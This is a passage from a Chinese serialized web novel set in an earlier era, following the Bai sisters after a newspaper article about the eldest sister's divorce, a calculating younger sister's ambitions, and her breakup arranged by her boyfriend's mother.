独生子，亲爹是百货大楼采购主任，亲妈市里妇联干事。家里住在市中心的小院。不用跟其他人挤在一座大杂院里面。 这样的条件，是她能接触到的最好的了。 但是，那个反复出现的梦，让白苹从怀疑到质疑再到确定。确定自己嫁给邱成才，即使一开始会很幸福，但未来一定会成为庸庸碌碌，为了一点买菜钱也要斤斤计较的劳动妇女。 这样的日子不是白苹想要的。她当初选择邱成才，就是想过上比现在更好、更好的好日子。而不是跟着受苦的。 想到梦境中未来百货商店会倒闭，邱成才的爹跟他以及自己都会下岗。一家人的生计就靠邱成才那凶巴巴的妈维持。白苹就吓得直打哆嗦。然后坚定了自己的想法。但是，在分手前，她还需要邱成才的帮忙，把她想到的一些事情安排妥当。 邱成才不知道白苹在想什么，见她打哆嗦，还以为她冷了。于是赶紧道：“咱也别在胡同角落吹风了。走，我带你去国营饭店吃个牛肉面暖暖……” 边走，邱成才边心里想着白苹最后没有坚持要跟自己分开。这真是太好了！但是，他也要加紧动作，赶紧把他妈给说服才成。 白兰见他们人都走了，还没看到两人分手的画面，不免好奇白苹到底还要做什么？真一直拖着邱成才，直到找到下家不成？ 第17章 第17章好事被打断 “早……” “早……” 白莲朝办公室走去，对着一路遇到的人都问声早安。有人会回应她，但也有人是一脸尴尬转过头去当没听到，活像她是个瘟神那般。这就是离婚这些天下来，她在厂里的待遇。 但她并不介意。有人当她透明的，但也有人跟她正常往来。她不可能为了那些人，就忽略了对她抱有善意的人。 白莲并不认为自己离婚有任何错误。所以，她坚持着往日的习惯，与人为善。 进了办公室后，她的待遇变得更为两极分化。 妇联办公室的职工一共有12个，其中8个是中年妇女，4个是年轻姑娘。年轻姑娘对她的态度一如既往。有人甚至会悄咪咪同情她。但那8个中年妇女中有6个，一致认为她是女人的耻辱。都离婚了，怎么还好意思来妇联上班。 对于这个情况，白莲选择无视。 反正这里的工作大部分时候都挺清闲的。特别是她离婚后，妇女们也都不来找她帮忙调解啥呢！ “哎哟，时代的楷模，女性力量的觉醒人。怎么还来我们这小地方上班啊！市里的妇联就少了你这样的人才。” 一阵冷嘲热讽的声音响起，白莲抬头一看，见说话的人是副主任，她也就当没听到了。 离婚那天的介绍信，对方虽然给她开了。但因为是主任压着她开的。副主任奈何不了主任，就把气撒在她身上。这些天一直无视她的存在。 今天忽然说这么一长串话，让白莲觉得莫名其妙。 副主任见白莲这副样子，只以为白莲装傻，脸上的表情越发难看：“哼，真是没见过那么脸大的人。离个婚不躲着点人就算了。还好意思写文章登到报纸上，让全国人民都知道你离婚。这很光荣吗？” —— 一大早被人这样劈头盖脸说一顿，饶是白莲脾气好，这会儿都觉得心头的火蹭蹭起来。 “副主任，你要是对我有意见，可以跟领导反应。说话不要冷嘲热讽。这会让你显得很没有素质。” 副主任冷笑一声，直接把手里攥着的报纸甩到白莲桌上。 “你自己看吧！报纸上这篇文章的作者叫做白苹。我记得你有个妹妹就叫白苹的。呵，离个婚还要让自己的妹妹给写篇文章登报纸歌颂一番。我也是活久见了！” “够了！办公室就是用来办公的。别在这里说其他事儿。” 就在这时候，门口传来主任的怒喝，让副主任立马闭上了嘴巴。也让正在看热闹的办公室职工，一个个缩紧了脖子。 “白莲，拿上报纸跟我进来。” 主任最后吩咐了这么一句，就先进了自己的办公室。 白莲没有回应主任的话，这会儿她眼睛已经盯在眼前的《北城妇女报》上。只见上面有半个版面，是在报道她离婚这件事情的。 上面的用语大部分是在夸她勇敢，夸她是婚姻自由的代表人物，时代的楷模，妇女的榜样。 这样充满溢美之词的文章，却人白莲觉得背脊发寒。 她太生气了！天知道，离婚以后她一直都维持着低调的状态。不是因为怕丢人，而是担心两个女儿被人指指点点。 大杂院的邻居很多面上不说，但背地里都会聊她离婚这个事情。白莲并不在意，因为邻居们都算是有分寸的。没有在女儿面前直接说这个事情。 这都过了小半个月了，眼瞅着风声都平息了下来。现在这篇文章一出，自己不说全国闻名，最起码整个北城人都会记得自己的大名了。 这样的名声，白莲不想要。 —— 等进了主任办公室，听到主任的劝说后，白莲更是觉得无地自容。 “这篇文章怎么说呢，里面都是说你好话的。但是，名声太过，对你目前的生活并没有太大的好处。所以，建议你最好低调一点。这两天要是担心厂里的闲话，可以给你批两天假。好好把家里的事情处理好！” 主任吃过的盐比白莲吃过的米都多。自然了解报纸的这篇文章，白莲十有八九是不知情的。 那就是家里那边出纰漏了。早点把这纰漏给处理好了，免得再捅出更大的篓子。 主任自己也被这篇报道弄得头大。因为她来上班前，已经在家里接到了几个兄弟单位妇联主任的电话了。这些同行一个个都在质疑这篇报道。 白莲能说啥呢！她只能点头表示感谢。琢磨着干脆今天就请假，然后赶紧去找白苹，问问她为什么要搞这么一件事情出来！ —— 另一头，钢厂受到影响的除了白莲，就是另一位当事人秦胜利了。 不过秦胜利离婚后，就领了任务，去西北那边运送一批钢材。人还没回来，暂时并没有受到影响。但老秦家其他人却都想捂脸不见人。 虽然那篇文章并没有指责秦家什么。但是，离婚中的一方被夸成时代楷模。那另外一方不 就是反派么！ “真是够恶心人！什么时代的楷模。我呸！一个离婚的女人，不躲在家里，居然还敢上报纸！” 赵大妈今天出门买个菜，回来就被钢厂的人给围观了。明明那些个没文化的，字都不认识几个。根本没有看报纸的习惯。但是今天，一个个都拿着一份报纸凑她跟前，跟她说他们老秦家上报纸啦！ 刚听到时赵大妈还以为是傻好事呢！结果一听，白莲那离婚女人居然被夸成什么女性代表。呸！全世界的女人要都学她离婚，这个世界要完犊子了！ “可不是嘛！啧啧！赵大姐，你们家也是倒了八辈子霉。居然娶了这么一个儿媳妇！” 在赵大妈发飙的时候，边上跟着一起来的蔡大妈，开始煽风点火起来。 赵大妈是在买菜的时候，偶遇蔡大妈的。现在听她这么一说，拼命点头，开始倒苦水。 蔡大妈边听边一副感同身受的模样。顺带跟着骂白家人几句。然后又跟赵大妈打听白家其他人的情况。等把想要打听的问清楚后。蔡大妈不忘出馊主意： “赵大姐，咱也算是好姐妹了。我跟你说，这个事情你家胜利是倒霉了。但也算是幸运了。跟这么一个搅家精媳妇离婚。趁着她还没后悔，赶紧给你家胜利找个新儿媳妇。凭你家的条件，就是黄花大闺女也争着抢着嫁进来！” 赵大妈自然被蔡大妈的话给吸引了，她的确想让儿子赶紧结婚，好让老秦家的香火延续下去。 这样想着，赵大妈又抖起来。摩拳擦掌准备给儿子找个好对象。这一次一定要找个会生儿子的！ 蔡大妈听到这话，满意地露出笑容来。哼，白兰敢害自己被厂里开除。那她一定要搅合得对方家里不得安宁。 想到这两天家里的日子，蔡大妈就忍不住眼神发红。盯着报纸上那篇文章的署名，眼睛瞪得仿佛要出血。 —— 白兰还不知道已经被踢出厂里的蔡大妈，又准备暗戳戳搞事情了。 这会子她也被妇女报上的文章给弄懵了。 报纸是保卫科那边送过来的。厂里的报纸统一由邮局送到门卫处，然后门卫再分发到各个部门。秦艳的父亲秦叔是保卫科科长。对方今天去视察门卫工作，正好就看到了这篇文章。于是，马上叫人给白兰送过来。 同时，不忘给白爸爸单位打电话。 “文章都发表了，不知道会带来什么后续影响。要是厂里有什么闲话传出来，你要小心点。”秦叔离开前，好心地叮嘱了白兰两句。 白兰道谢后，认真又看了一遍这该死的文章。不过上千字，愣是把大姐的故事写得荡气回肠，可歌可泣。白兰要不是认识大姐，真以为对方是什么新时代的女性楷模。因为跟丈夫感情不好，努力争取最终成功离婚。 这种故事煽动性很强，而且把大姐塑造成什么女性楷模，简直是把人放火上烤。 大姐这一出名了，以后一举一动都有人盯着。只要一点行为不符合所谓的标准，就会被人用放大镜无限放大。而这样的结果，对大姐一点好处都没有。 倒是对写文章的白苹有好处了。不说文章给她带来的知名度，光是大姐所谓的名声变好，也能给白苹带来一些利益。 这样的反转，让白兰相当不爽。同时，白苹也把大姐当成了踏脚石。明晃晃要踩着大姐上位了！ 要是白苹在她跟前，白兰相信自己会给她甩几个耳刮子！ —— “你怎么现在才回来！” 都快晚上七点了，白苹这才走进大杂院。这让找了她一天的白家众人，觉得特别生气。生气她捅了这么一个大篓子，人就不见踪影。 白苹一脸莫名其妙：“跟成才出去了。怎么？你们也看到了那篇文章对吧！” 白爸爸见她一副功臣的模样，就气得胸膛起伏。他今天在接到老秦的通知后，就跑去百货商店找白苹。结果对方居然请假了。没人知道她去哪儿了。之后，白爸爸又去找邱成才，同样也没能找到人。 那会子他就估摸着这两人是一起出去了。 听到白苹是跟邱成才出去一整天，白兰十分惊讶。上周末她看这两人有分手的架势。但这都过了三天了，居然还没闹掰。而且看这样子，白苹好像还要扒拉邱成才一段时间。 想到今天那份报纸，是《北城妇女报》，这份报纸是市级报纸。跟市妇联有合作关系。而邱成才他妈就是市妇联的干事。在妇女报有相熟的编辑十分正常。 这个关系不得不让白兰多想。难道白苹利用邱家的关系，搭上了妇女报的编辑？ 白兰的猜测还真没错。 白苹就是在周末那天，先跟邱成才说要分手的。为了讨好她，邱成才最终答应带她去拜访妇女报的一位编辑。对方是邱母的好朋友，看在邱成才的面子，加上她的文章的确有代表性。于是，文章就这么华丽丽上报纸了。 这个发展让白苹十分骄傲。这说明她的做法是对的。一篇简简单单的文章，就把不利的局势扭转过来了。 现在大姐的名声好了，自己的名声自然也不差。她一个笔杆子，要找更好的对象就更加容易了。 这个事情对他们老白家也有好处。看看，她这才刚到家了，全家人就在大门口迎接自己了。 —— “你还好意思说那篇文章？我问你，你把文章投给报社的时候，有问过你大姐的意见吗？” 白苹心想，就大姐这磨磨唧唧的性格。问她也是当缩头乌龟。 “现在不是很好吗？我今天出去，看过报纸的人都说大姐勇敢。妇女报的人也都夸我这文章写得不错。” 白爸爸见她到这时候，还一副自己没错的样子，气得抬手就想给她一耳光。但白爸爸忍住了。因为他从小就没有打过孩子。现在也下不去手。但是，这会儿他相当自责。觉得自己这是没教好白苹，才让她祸害白莲的。 白妈妈赶紧伸手给生气的白爸爸顺气。同时也觉得三闺女实在是不像话。 父母的反应让白苹十分不爽。她这是好心被当成了驴肝肺了！要不是自己，大姐的名声能变好吗？ 白家人闹出的这动静，立马就把院子的邻居们都吸引了过来。大家今天都讨论一天这个报纸了。现在见白苹这个作者终于回来，还没上去恭喜呢，白家人就闹开了。自然上去就劝说了起来。 “你们夫妻两也别生气了。谁家闺女写文章要是能上报纸，这当爹妈的不得要高兴得多割两斤肉啊！” 住在东厢耳房的钱大妈，今天一直坐在门口跟人聊天。现在见白家人闹腾，立刻开口劝说起来。 钱大妈这人面上看着是个热心肠的老好人，不过每次遇到事情就退缩。平时都是胡寡妇第一个跳出来的。现在大伙儿见钱大妈说话，惊讶地安静了一瞬。 但苗大菊这会子却插话：“话不是这样说的。你白苹写文章没有问过白莲，那你这文章就不对。” 苗大菊没读过多少书，但是做人的道理还是懂的。 霎时间，整个院子又吵嚷了起来。每个人都有自己的观点。 —— 自从白苹进门后，白兰就一直观察大姐的动向。现在见大姐的表情变得十分严肃，白兰就知道这是老实人准备发飙了。她悄咪咪后退两步，顺手把还在状况外的二姐也往后拉。 而白莲一点都没辜负白兰的期待。只见对方走到满脸不服气的白苹跟前，直接按住她的肩膀，就往白苹后背狠狠拍了好几下。那动作有点像大人打孩子。但白莲的动作打得特别用力，可想而知老实人发起火来也是相当吓人的。 白苹被白莲打懵了。一时之间都没反应过来。反应过来后，想挣扎，但却被身后不知道哪位邻居给拉住，动弹不得。最后硬生生挨 了白莲好多下。 白兰在边上看得一清二楚，拉白苹的人就是柳美玲，短剧的女主。对方嫁到大杂院后，白兰还没跟她单独相处过。不太了解对方的性格如何。 但看柳美玲现在的动作，可想而知对方同样看不顺眼白苹。这意味着柳美玲的人品应该挺好的。 这让白兰相当高兴。暗叹不愧是女主，三观那叫正得杠杠的。 白莲这一打，算是把事情暂时告一段落。 不过白家人都清楚，按照白苹的性格，以及刚刚挨揍时白苹那些不平的话。估摸着事情还有后续。 —— 果然，报纸事件发酵了两天后，白莲在上班的时，被主任告知，市妇联往他们单位打电话，想邀请白莲到市妇联，就报道上的离婚事情做一个面对面的谈话。 “你也不用怕这个，文章不登都登了。现在只能说尽量为你自己争取更大的权益。所以，这个邀请我建议你去。去到后，好好跟市妇联的人沟通。说不定能让你事业上更进一步！” 主任的话让白莲踟蹰起来。她心里是想拒绝的。但也清楚主任的建议特别有道理。事情不发生都发生了，她要是再逃避，好像也不可能让事情变好。 “我知道了，主任。谢谢你的建议，我会慎重考虑再答复的。” 另一头，同样得知白莲收到邀请的白苹，这会儿正在报社里面。 “楼编辑，为什么市妇联的邀请，没有我的？” 楼静靠坐在椅子上，面对激动的白苹，淡然道： “你不是当事人。离婚这种事情，最好还是跟当事人进行交流。白莲同志很勇敢，不怕旁人异样的目光，亲自诠释了什么叫做婚姻自由。这种事情，你一个未婚同志其实也不能感同身受。综合考虑各种因素，市妇联那边就只邀请白莲同志。” 这跟白苹一开始的设想不一样。她忍不住站起身来：“但这也不对啊！我看以前这种类型的文章，作者跟当事人都会被邀请一起做专题报告的！” 楼静摊手：“这是市妇联那边的决定，我这边确实也不太清楚具体情况。不好意思了，白苹同志。对了，这是你这篇文章被采用后的稿费。本来想要寄给你的。既然你人来了，直接签收就好了。” 白苹看着递到眼前的信封，十分难受。 不对，不对。她一开始要的可不仅仅就这么点稿费。她要的是去市妇联，去更大的舞台，增加自己的资本。好接近自己想要接近的人。现在忙活一通，就得这么点稿费！ 怎么会这样！ —— 楼静看着白苹失魂落魄离开办公室后，立刻拿起电话就朝那边拨了过去。 “彩蜜，人打发走了。哎，你真要这么无情对待你未来儿媳妇啊！” 电话那头的周彩蜜，也就是邱成才的亲妈，听到好友的话，脸上露出笑意：“打发走了就好。哼，这姑娘可不简单。踩着自家大姐上位。就我那傻儿子看不懂，还傻兮兮以为这姑娘是要上进。好早点入我的眼。” 说到自己的傻儿子，周彩蜜就忍不住扶额。她跟丈夫都是脑瓜子特别好使的。偏偏两人就生了这么个缺根筋的傻儿子。这儿子没别的毛病，就是太傻了。人家缠着他久一点，就昏头转向，被人利用了还傻乎乎的。 要是没自己看着，她真怕这儿子被人卖了还帮着数钱。 上周末儿子回来一副神神秘秘的样子。要不是老友楼静亲自打电话给自己。说自家傻儿子带个姑娘来拜访，想把自己的文章登报。怕她都要被这傻儿子蒙在鼓里。 哼，那白苹老是说自己瞧不上她的家世。但天知道，她老邱家啥都不缺，对姑娘家的家世要求也不高。但是，必须是身家清白，姑娘人还得人品过关。 白苹的家世是清白了，但这人人品不行，太功利了。 之前她跟老邱都以为这姑娘就是自私点而已，但没想到这一次居然想踩着她那离婚的大姐上位。这种太会钻营的姑娘，真是让人不喜。 周彩蜜那天就决定给白苹来个深刻的教训。最好，傻儿子也能在这个事情过后，醒悟过来。 —— “谢啦小静，有时间请你吃饭。接下来你暂时不用管她。市妇联这边还有我呢！” 周彩蜜是市妇联的干事，虽然不是领导。但她在里面干了这么多年，爸妈也是这个系统的。所以，白苹想要借由那篇文章，成功进入妇联这个圈子，那是不可能的。 倒是可以捧一捧她大姐，好让白苹更加焦急，从而自乱正脚。 不过，因为傻儿子还在傻乎乎的，周彩蜜已经做好了两手准备。 再说，这白苹也不知道得罪谁了。居然有人往她家里塞举报信。举报的内容是白苹一些在外头的小动作。一看就知道白苹这是被人给跟踪报复了。这种随意得罪人的人，周彩蜜也不想要她成为自己的儿媳妇。 总之，把白苹拦在了妇联外头，接下来周彩蜜就稳坐钓鱼/台。她可以淡定地等，等白苹醒悟过来，然后走下一步棋。 —— 被市妇联邀请去谈话这个事情，背后居然有那么多的环节，白家完全不知情。 这天下班回到家里后，白家人都得知了白大姐收到的邀请。 一家人都赞同白大姐过去市妇联看看。反正是谈话，说不定能开拓出新的一片天地。现在白大姐在钢铁厂上班的情形，虽然她不说，但家里人都能想象她承受的压力有多大。 换个环境，说不定人就更加幸福快乐了。 当然，赞同的人里面并没有白苹。白苹今天回来后一直都没吭声，饭桌上吃饭也跟数着饭粒一般。 小芬跟小芳两个小姑娘，这些天被保护得很好。真不知道父母离婚这种事情。这会儿两人见白苹吃饭数饭粒，就笑嘻嘻地说：“三姨吃饭不专心……” 很平常的一句话，但白苹却摔碗站起身来。 “苹苹……” 白爸爸立刻皱眉看向这个三闺女。这些天，白苹的表现是一天比一天让人烦闷。以前觉得这闺女天生身子弱，全家人都让着她。但白苹一直表现得也挺好的。聪明还不让人担心。 只是自从大闺女要离婚后，这三闺女越发不像话了。 白苹见白爸爸生气，她其实更加生气。她今天请假跑去报社，最终得到的只有那么点稿费。完全背离了她好不容易想到的计划。这怎么能不让她气愤！ 更加气愤的是，她为了去市妇联，专门跑去找邱成才。结果这傻子居然说没被邀请也好。市妇联的女人嘴巴很会说，他怕自己被欺负。 我呸！这男人真没用。居然说出这种怕女人的话来。这男人真是个软蛋。这越发让白苹坚定离开邱成才的心。 但是，白苹发现无论她的计划多么完美。但这段时间以来她就没真正遇上什么好事。这让她沮丧生气却又不知道该把火气往哪里撒！ 第18章 第18章一脚踩进坑里 “哎哎哎，大姐。你别动手，别动手。不就是两件衣裳吗？我来洗。你赶紧回屋里继续写稿子。这明天就要去市妇联了，可得先想好要说什么。” 白兰拿着准备洗的衣服出来，正好就看到白苹那副嬉皮笑脸的模样。对方从大姐手里抢过两个外甥女换下来的衣服，生怕大姐拒绝。才说了两句好话，就急哄哄拎着衣服跑去水槽那边。 不清楚内情的外人，怕都要夸白苹一句，真是个好妹妹啊！ “她这是改好呢？”身后传来一阵好听的女人声音。白兰转头一看，发现是柳美玲，就忍不住露出笑容来。 说来也奇怪，前天对方拉着白苹让她挨大姐的打后，白兰就发现对方一直在朝自己释放善意。于是，自然而然地，两人在大杂院要是碰上了，都会聊上那么几句话。 白兰耸耸肩：“她这人你懂得。” 柳美玲挑眉：“那是。”虽然嫁过来还不到两个月，但柳美玲对这座大杂院人都有了大概的了解。其中老白家因为白兰是许建北对象的关系，她了解得更多一些。 白家四姐妹看下来，就这个白苹最是人精。 两人边说边朝水槽走 去。水槽边，白苹已经在那洗着衣服了。边上几个同样在洗衣服的大妈，见白苹洗的是小孩子的衣服，一个个都夸她是个好妹妹。 “我就说姐妹之间没有隔夜仇。你大姐之前是恼你做事不全面，没有提前跟她打招呼。现在看看，你们姐妹这感情不就好好的嘛！” 钱大妈也在洗衣裳，说起白家姐妹前天晚上的闹腾，那是十分感慨。 住在钱大妈隔壁的万大妈也点头：“可不就是嘛！姐妹两哪里有隔夜仇的。你大姐这离婚了，以后那两小外甥女，还不是要靠你们这些当小姨的帮扶。” 白兰：忽然有点不想过去洗衣服了。 柳美玲：“去前院洗去！” 前院也盖了水槽，那边的住户没有后院多，水槽空得很。 “哎，美玲，过来这边啊！这边有位置呢！” 柳美玲话还没说完，那头洗衣裳的白苹已经朝她吆喝了起来。那热乎劲，不知道的人还以为她们两是好姐妹呢！ 真姐妹白兰同志见状，无语地看了白苹一眼，然后喊柳美玲：“走，上前院去。” 柳美玲自然是不想搭理白苹的，跟着白兰直接到前院去了。而白兰呢，这会子已经开始疑惑，白苹对柳美玲好像有点太热乎了些。 白苹这人她算是看透了，一个无利不请早的人。 别看她在水槽那跟大妈们聊得热乎，但白兰知道这人是瞧不上这些只会做家务的老大妈。凑一起说话，更多是为了把自己的形象挽救回来。 而她帮大姐的女儿洗衣服，原因更加简单。就是想讨好大姐，让大姐明天去市妇联的时候，把她也一起带上。 至于对柳美玲热乎的原因？ 白兰猜测，可能跟她那梦有关。 白兰真的很好奇，白苹在梦中看到的剧情，究竟有多少？ —— 白苹见白柳美玲这样不上道，反而跟白兰走得近，心中就一阵气闷。 柳美玲这样未来注定要不凡的女人，应该跟自己这样有上进心的人往来。而不是小妹白兰这种得过且过的人。 是的，白苹知道一些未来的事情。因为她会做梦，梦里一些事情在现实已经实现。在梦里，她看到了很多，也看到了很少。很多，是因为她看到了自己那失败的一生。很少，是因为她想看到更多人的未来。可惜，这个神奇的梦局限性太大了。 幸好，她的梦境虽然局限大，大部分都围绕自己跟邱家展开。但是，在这个过程中，是穿插了一些大人物的。其中，柳美玲这个女人，现在看着不显眼。但是她未来可是北方能数得着的富人。她跟她男人许建南，以后都是人们仰望的存在。 而她小妹白兰，未来也过得比梦里的她好上千倍。因为小妹嫁了个好人家。那宋家一家都是精明能干的。宋厂长更会在十多年后，成为现在钢厂真正意义上的老板。而宋国平，也会继承家业，成为一个富人。小妹嫁给宋国平，那日子富得流油。 至于大姐跟二姐？这两人估计未来过得很差。所以她的梦中并没有这两人的出现。 虽然现实跟梦境，自从小妹执意取消跟宋家的亲事，开始有了改变。但是白兰却觉得这并不是一件坏事。 因为，时代的发展是不会改变的。条件好的人家是不可能随随便便就忽然衰落的。她知道好几个未来会发迹的权贵富豪。 所以，白苹对自己以后的日子充满了信心。 像小妹这种亲手丢掉富贵未来的人，她有些怜悯，又有些庆幸。 丢了宋国平，找到许建北，是小妹人生最失败的选择。许建北在她的梦中那是影儿都没出现过的。就是许建南其他两个兄弟，也有在梦境中一闪而过。 可想而知，许建北的未来不是默默无闻，成为社会底层。就是英年早逝，无人知晓。 选择这么一个人，小妹的未来堪忧！ 而她——白苹，注定要成就不凡！ —— 前院正在洗衣裳的白兰，可不知道白苹在可怜自己。要知道，铁定要笑掉大牙了。 这会子白兰正跟柳美玲说着话，她发现柳美玲这人的脑瓜子特别灵活。而且说话也很有情商。 “本来我跟建南都说要请你跟建北吃个饭的。建南跟建北的关系特别好。不过刚结婚那会儿，建北还挺忙的。后来建北说要另外安排时间。但这小子到现在还没个准话。我寻思着应该来问你，这时间就能定下来了。” 这话带着调侃的意味，但又不会让人不舒服。白兰听到后只想笑。 许建北一直不安排，估计是觉得他们两相处的时间不够。而且，自己跟许建南、柳美玲还算是比较陌生的那一挂。一起吃饭怕自己会尴尬。 但自己还真不尴尬。不说许建南跟自家老爸关系好。就柳美玲这个大女主，白兰还是很好奇的。 “行啊！看看要不就明天吃个晚饭？” 柳美玲一拍手掌：“成，我就说找你铁定能成！” 洗完衣服回到家里，白兰见白苹还在围着大姐打转，她想了想也不过去凑热闹。看大姐的态度，估摸着应该有了对付白苹这块牛皮糖的办法。 果然，第二天白兰早早起来准备上班，就发现大姐已经不在家里了。问了她爸，白兰这才知道大姐在十分钟前已经离开家里了。这意味着大姐六点不到就出门了。 而按照正常时间起床的白苹，在发现大姐居然偷偷溜走后，气得原地跳脚。她连早饭也不吃，洗了把脸直接就出门了。 “这孩子到底是图什么？”白妈妈看着白苹的举动，再一次感到失望。可能是这段时间以来，白苹一次又一次让她失望。所以，白妈妈也只是伤感了两句，倒没有之前的那种伤心了。 白兰：白苹图的东西可就多了。说到底，这人过于功利，跟家里其他人的佛系相差有点远。也不知道她这种性格到底是怎么养成的？ —— 另一头，白苹紧赶慢赶，终于提前半个小时来到了市妇联的大门口。 谢天谢地，妇联并没有因为大姐的提前到来，而提前开门。于是，她很轻易就在妇联门口的台阶上，看到坐在那里的大姐白莲。 “你为什么不等我？不是说好了一起来的吗？” 白莲见到白苹赶了过来，一点都不惊讶。就这两天白苹的行动，她就知道这妹妹是不会那么容易死心的。 “我没有答应你。” “那昨晚我说那么多，你也没拒绝啊！” “是，我没拒绝，但我也没答应。”白莲也不知道自己是不是耍赖皮。但对着白苹，她就只想这样说话。 白苹被这无耻的话给弄得一窒。她怎么不知道，那个谨慎老实的大姐，什么时候变得这样滑头呢？要不是知道大姐脸皮薄，自己只要放下身段讨好一定不好意思拒绝。她也不会在大姐跟前装孙子装了两天。 结果，结果这个老实的大姐，居然学会耍自己玩呢？ “那你现在答应也不迟。” “白苹，你究竟想要什么？”白莲盯着眼前人的眼睛，发出这灵魂一问。 白苹忽然觉得自己好像被这话灼伤了眼睛，她不自觉移开了目光。口气坚定道：“大姐，你带我进去，一点都不会损害你的利益。相反，你现在帮了我，我以后就会回报你。” 白莲失望摇头：“到今天，你还没能醒悟过来，你到底错在哪里？” 姐妹之间，多年的相处感情，不是能用利益就能衡量的。而白苹一次次这样只顾自己，完全不顾她的做法，白莲已经不想再跟她啰嗦了。 她坐起身来，抬脚就朝已经打开门的妇联走了进去。 白苹想跟上，但是因为没有介绍信，直接在门岗处就被拦住了。 —— “看明白了吧！傻小子！” 妇联二楼 靠窗的一间办公室里，周彩蜜看着还在盯着楼下白苹的傻儿子，心中一阵无语。 今天一大早她就把儿子带到这里，就是等着看一出好戏。白莲这位同志，她已经仔细打听过了。那是一位外柔内刚的人。这种人，在被亲妹妹几次利用后，一定不会当没发生。 现在看来，她的猜测没有错误。带着傻儿子正好看到了眼前这精彩的一幕。 “妈……苹苹……苹苹这不过是想多认识些妇联的人……” “那她认识那么多妇联的人，目的又是什么？” 邱成才被他妈的话一问，有点不知道该说什么。最后憋出一句：“她喜欢认识朋友……” 周彩蜜嗤笑一声，觉得傻儿子自欺欺人的样子更傻了。但能咋办呢？儿子是自己生的，总不能塞回肚子。 “你心里清楚她到底是什么人。你一个统计员，算数比我好一百倍。你自己好好算算，跟白苹谈对象以来，你花了多少钱。又利用家里的人脉，给她带来多少好处。然后，你再算算对方给你带来了什么？” 感情不是这样简单的1＋1=2。但更加不是一方0付出，一方100倍付出。感情的付出无法计算，但是物质的付出，却可以轻易计算出来。 邱成才被亲妈的话说得哑口无言。 周彩蜜见状并没有这样放过。她要趁着今天的机会，来一出快刀斩乱麻。 “你要装傻子也好，装聋子也罢！待会儿我就叫白苹上来。我亲自跟她摊开来说。你就躲在隔间仔细听，认真用心听。听听这个人，会选你还是选对她有利的条件！” 事情的发展显然超出了邱成才的预料。他想要拒绝他妈这个所谓的摊牌。但是，又因为这两个月白苹若即若离的态度，而变得迟疑起来。 周彩蜜并没有给他迟疑的机会。把人往隔间一推，门一拉。然后就朝楼下还没走的白苹喊道：“上来！” —— “阿姨……” “别，在单位请叫我周干事……” “周干事……” 白苹被眼前的阵仗弄得有点懵。但她的情绪肉眼可见的紧绷起来。因为她知道，邱成才这个妈特别厉害。无论是梦里还是现实里，这个女人一点都不简单。 周彩蜜并没有跟白苹兜圈子，她直接道：“我知道你是个上进的姑娘。而我们邱家庙小，要你呆在里面也是委屈你。你的文章写得很不错。人又特别机灵。只要给你一个机会，你能到达想象不出的高度。” 这样假大空的话，偏偏戳中了白苹心中隐秘的那个地方。她的脸色肉眼可见地明亮起来。 周彩蜜继续道：“我知道你其实一点都不喜欢我家成才……” “不是……” “你先别急着否认。我自己知道自己事，我儿子这样的，适合那种喜欢过平淡日子的姑娘。你这种上进姑娘，我那傻儿子是配不上的。女孩子的青春是有限的。而你，显然对自己的未来有清晰的定位。” 白苹是真的聪明。听完周彩蜜这带着煽动性的话，再看看对方那一副志在必得的表情。白苹知道自己到了抉择的时候。 霎时间，她的表情变换得相当冷漠。 “我是不喜欢邱成才。也不能说讨厌，但也不喜欢。” 在一直忌惮的人面前，说出这种挑衅意味很浓的话，让白苹的心升起一股隐秘的快/感。 “你一直想我跟你儿子分开，我也不反对。因为我也想分开。他天天拿结婚的事情来跟我商量，我也很困扰。所以，要分开可以，但是，我需要你帮我换个工作。” 周彩蜜挑眉：“想要什么工作？” 白苹站起身来，双手张开撑在办公桌上，对坐着的周彩蜜形成居高临下的姿势。满脸都是志在必得的模样。 “我要进市妇女报。” 本来她的目标是市妇联的。可惜，这样撕开脸谈条件，她要是进来市妇联。怕马上就要被周彩蜜收拾了。而报社就不同了。虽然对方在里面也有人脉，但是妇女报跟妇联不是一个系统的。她只要进去了，就能再寻找机会往上走。 周彩蜜心中暗叹一声果然。这姑娘果然是个会钻营的。这种姑娘麻溜儿打发走才是正理。自家这傻儿子，在人家跟前过不了两招。 “没问题。你这两天把你的个人资料准备好。三天内我这边会给你发来妇女报的调函。但是……我希望你今天就找我那傻儿子，说清楚分开的事情。” 自古以来文人相轻，报社那边的人事关系特别复杂。她就等着看白苹能不能玩得转。 希望她不要刚入职就离职。 周彩蜜心里冷笑，面上却紧盯白苹的眼睛，加重语气道：“是明明白白的那种。别糊弄我，不然你什么都得不到。” 白苹只要得到想要的，其他都很好说话。她马上点头答应。甚至表示可以借电话马上联系邱成才。 周彩蜜摇头：“不用联系。他就在这里。” 说着，周彩蜜拉开隔间的门，让这对谈了两年多对象的人，来了个面对面。 —— “三哥，这地方不错啊！哪里找的？” 傍晚时分，白兰跟着许建北一起来到了一条安静的胡同。胡同都是住家，但其中一家的小门开着，许建南正双手环胸，靠在墙头等人。 听到小弟的话，许建南抬头笑道：“你三嫂害怕你小子找不到地儿。我说你那脑瓜子聪明着呢！” 许建南调侃了一下小弟，对着白兰挥手打招呼。 白兰笑眯眯地喊了声：“许三哥……” 许建南摸了摸鼻子，想问不是该叫三哥吗？但想想又住嘴了。他要是嘴欠，怕马上就要被小弟给锤爆。 三人很快走进了这间小院。小院的人不多，进去就能看到几间厢房开着门，里头摆放着八仙桌。 这种私人性质的小饭馆，有点像私房菜馆。配合眼下特殊的年代，显得相当神秘。 白兰也只在电视节目中看到过，没想到自己居然还能来到这种地方吃饭。主要是听说这种地方，不是熟客还不让进来吃。 刚进屋里坐下，许建南就介绍：“这地方是你三嫂认识的人开的。饭菜特别实在又好吃。今天有刚到的黄牛肉。我叫了个红烧牛肉。你们看看还想吃什么。” 柳美玲也笑着说让两人看看还想吃什么。这地方客人不多，食材的话却比较丰富。只要不是特别难弄的东西，这里都能做出来。 白兰也没客气，跟许建北商量了一下，叫了个蒸鱼跟咕噜肉。主食直接叫的荠菜猪肉馅儿的。 四人都挺自来熟的，商量完菜单后，这相互之间就说起话来就更加热络了。 白兰也是这时候才知道，柳美玲虽然没上班，但私下里也有在做些小生意。对方那样坦率，让白兰十分惊讶。要知道，现在投机倒把还抓得挺严的。 “我是相信你的人品，也相信小弟的眼光。反正，我这摊子生意，小弟也投了钱的。” 白兰是知道许建北有些私下里来钱的渠道。但还真不知道跟柳美玲有关系。 